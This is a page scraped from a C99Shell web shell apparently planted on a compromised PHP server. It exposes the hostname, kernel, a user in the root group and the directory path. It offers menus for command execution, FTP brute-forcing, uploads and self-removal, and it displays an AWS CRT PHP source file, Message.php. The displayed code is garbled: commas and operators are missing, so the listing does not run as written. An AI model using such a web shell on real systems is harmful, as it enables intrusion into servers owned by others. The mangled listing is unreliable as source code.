!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/   drwxr-xr-x
Free 28.67 GB of 117.98 GB (24.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Message.php (2.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
 * SPDX-License-Identifier: Apache-2.0.
 */
namespace AWS\CRT\HTTP;

use 
AWS\CRT\NativeResource;
use 
AWS\CRT\Internal\Encoding;

abstract class 
Message extends NativeResource {
    private 
$method;
    private 
$path;
    private 
$query;
    private 
$headers;

    public function 
__construct($method$path$query = [], $headers = []) {
        
parent::__construct();
        
$this->method $method;
        
$this->path $path;
        
$this->query $query;
        
$this->headers = new Headers($headers);
        
$this->acquire(self::$crt->http_message_new_from_blob(self::marshall($this)));
    }

    public function 
__destruct() {
        
self::$crt->http_message_release($this->release());
        
parent::__destruct();
    }

    public function 
toBlob() {
        return 
self::$crt->http_message_to_blob($this->native);
    }

    protected static function 
marshall($msg) {
        
$buf "";
        
$buf .= Encoding::encodeString($msg->method);
        
$buf .= Encoding::encodeString($msg->pathAndQuery());
        
$buf .= Headers::marshall($msg->headers);
        return 
$buf;
    }

    protected static function 
_unmarshall($buf$class=Message::class) {
        
$method Encoding::readString($buf);
        
$path_and_query Encoding::readString($buf);
        
$parts explode("?"$path_and_query2);
        
$path = isset($parts[0]) ? $parts[0] : "";
        
$query = isset($parts[1]) ? $parts[1] : "";
        
$headers Headers::unmarshall($buf);

        
// Turn query params back into a dictionary
        
if (strlen($query)) {
            
$query rawurldecode($query);
            
$query explode("&"$query);
            
$query array_reduce($query, function($params$pair) {
                list(
$param$value) = explode("="$pair2);
                
$params[$param] = $value;
                return 
$params;
            }, []);
        } else {
            
$query = [];
        }

        return new 
$class($method$path$query$headers->toArray());
    }

    public function 
pathAndQuery() {
        
$path $this->path;
        
$queries = [];
        foreach (
$this->query as $param => $value) {
            
$queries []= urlencode($param) . "=" urlencode($value);
        }
        
$query implode("&"$queries);
        if (
strlen($query)) {
            
$path implode("?", [$path$query]);
        }
        return 
$path;
    }

    public function 
method() {
        return 
$this->method;
    }

    public function 
path() {
        return 
$this->path;
    }

    public function 
query() {
        return 
$this->query;
    }

    public function 
headers() {
        return 
$this->headers;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--